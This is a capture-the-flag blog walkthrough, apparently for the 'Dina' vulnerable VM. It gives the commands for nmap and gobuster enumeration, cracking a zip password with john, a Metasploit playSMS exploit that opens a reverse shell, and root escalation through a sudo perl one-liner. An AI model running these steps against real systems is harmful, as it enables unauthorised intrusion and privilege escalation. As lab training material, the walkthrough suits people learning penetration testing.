Letโ€™s start

Hey you โค๏ธ Please check out my other posts, You will be amazed and support me by following on youtube.


Finding Target IP

To find the target IP lets use the below command or you can go with the net discover command.


Nmap Scanning

Let’s use the nmap tool to check the services running on the computer by doing a thorough scan of all the ports on the remote machine.

nmap -p- -A

The only service running is HTTP on port 80. Let’s take a look inside and see what’s there.


The HTML landing page didn’t provide much information apart from explaining what Dina intended.

Afterward, I checked the robots.txt file.

There were numerous directories! I went through each of them individually and stumbled upon some passwords in the page source of one directory!

GoBuster Directory Enum

After exploring other parts of the webpage without finding anything, I decided to conduct a gobuster directory scan.

gobuster dir -u -w /usr/share/wordlists/dirb/big.txt

The gobuster scan revealed an additional folder named “secure” that wasn’t listed in the robots.txt file.

Password Cracking

First, I found a zip archive within this “secure” folder, which happened to be password protected. To proceed, I used the zip2john tool to extract the password hash.

Following that, I employed the john tool along with the passwords we gathered from the webpage to crack the hash. This process allowed me to access the contents of the protected zip file.

zip2john backup.zip > ziphash.txt
cat ziphash.txt
cat pass.txt
john --wordlist=pass.txt ziphash.txt

Exciting! After successfully extracting the ZIP and reviewing the file inside, we found another directory name that exists on the HTTP server.

I navigated to that webpage and encountered a login page. After trying all the passwords we had through brute-force, I found the correct one:

Username: touhid 
Password: diana

Exploitation (Metasploit)

I discovered a playSMS application deployed there. To explore potential vulnerabilities, I checked Metasploit and found an exploit available for it. Utilizing this exploit, I initiated a reverse shell to gain access.

msfdb start
msfconsole -q
search playsms
use exploit/multi/http/playsms_filename_exec
set RPORT 80
set TARGETURI /SecreTSMSgatwayLogin
set USERNAME touhid
set PASSWORD diana

Hooray! We’ve successfully gained access! ๐Ÿ˜ƒ

Privilege escalation

Privilege escalation was a breeze because perl had sudo execution rights without requiring a password! ๐Ÿ˜

python -c 'import pty; pty.spawn("/bin/bash");'
sudo -l
sudo /usr/bin/perl -e 'exec "/bin/bash";'
cd /root
cat flag.txt
